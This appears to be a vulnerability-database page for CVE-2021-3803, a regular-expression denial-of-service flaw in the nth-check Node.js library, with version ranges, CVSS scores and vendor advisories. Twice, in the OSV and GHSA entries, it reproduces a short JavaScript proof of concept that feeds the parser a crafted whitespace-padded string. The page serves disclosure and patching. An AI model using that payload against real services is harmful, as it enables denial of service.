CVE-2021-3803
published 2021-09-17CVE-2021-3803: nth-check is vulnerable to Inefficient Regular Expression Complexity
PriorityP336high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
2.17%
80.5th percentile
nth-check is vulnerable to Inefficient Regular Expression Complexity
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | node-nth-check | < node-nth-check 2.0.1-1 (bookworm) | node-nth-check 2.0.1-1 (bookworm) |
| fb55 | fb55_nth-check | >= unspecified < 2.0.1 | 2.0.1 |
| nth-check_project | nth-check | < 2.0.1 | 2.0.1 |
| nth-check_project | nth-check | >= 0 < 2.0.1 | 2.0.1 |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:N/A:P
osv7.5HIGH
vendor_debian7.5HIGH
vendor_redhat7.5HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
nth-check vulnerability
vendor_ubuntu·2023-05-30
CVE-2021-3803 nth-check vulnerability
Title: nth-check vulnerability
Summary: nth-check could be made to crash if it opened a specially crafted file.
Yeting Li discovered that nth-check incorrectly handled certain inputs. If a
user or an automated system were tricked into opening a specially crafted
input file, a remote attacker could possibly use this issue to cause a
denial of service.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
nodejs-nth-check: inefficient regular expression complexity
vendor_redhat·2021-09-13·CVSS 7.5
CVE-2021-3803 [HIGH] CWE-400 nodejs-nth-check: inefficient regular expression complexity
nodejs-nth-check: inefficient regular expression complexity
nth-check is vulnerable to Inefficient Regular Expression Complexity
A flaw was found in nth-check nodejs library where it could lead to consuming a big amount of resources when executing some checks. Attackers could take advantage of this by crafting an invalid CSS nth-checks causing a disruption or a denial of service (DoS).
Statement: In Red Hat Virtualization, ovirt-web-ui and ovirt-engine-ui-extensions use a vulnerable version of nth-check. The package is used during the build process and is not shipped with the product. The impact of the flaw is rated Low and it will not be immediately addressed. A future update of Red Hat Virtualization may include fixes for this flaw.
Package: servicemesh-grafana (OpenShift Service Mes
Debian
CVE-2021-3803: node-nth-check - nth-check is vulnerable to Inefficient Regular Expression Complexity
vendor_debian·2021·CVSS 7.5
CVE-2021-3803 [HIGH] CVE-2021-3803: node-nth-check - nth-check is vulnerable to Inefficient Regular Expression Complexity
nth-check is vulnerable to Inefficient Regular Expression Complexity
Scope: local
bookworm: resolved (fixed in 2.0.1-1)
bullseye: resolved (fixed in 2.0.0-1+deb11u1)
forky: resolved (fixed in 2.0.1-1)
sid: resolved (fixed in 2.0.1-1)
trixie: resolved (fixed in 2.0.1-1)
OSV
Inefficient Regular Expression Complexity in nth-check
osv·2021-09-20
CVE-2021-3803 [HIGH] Inefficient Regular Expression Complexity in nth-check
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code.
**Proof of Concept**
```js
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
```
**The Output**
```
attack_str.length: 10003: 174
GHSA
Inefficient Regular Expression Complexity in nth-check
ghsa·2021-09-20
CVE-2021-3803 [HIGH] CWE-1333 Inefficient Regular Expression Complexity in nth-check
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code.
**Proof of Concept**
```js
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
```
**The Output**
```
attack_str.length: 10003: 174
OSV
CVE-2021-3803: nth-check is vulnerable to Inefficient Regular Expression Complexity
osv·2021-09-17·CVSS 7.5
CVE-2021-3803 [HIGH] CVE-2021-3803: nth-check is vulnerable to Inefficient Regular Expression Complexity
nth-check is vulnerable to Inefficient Regular Expression Complexity
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0https://lists.debian.org/debian-lts-announce/2023/05/msg00023.htmlhttps://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html
2021-09-17
Published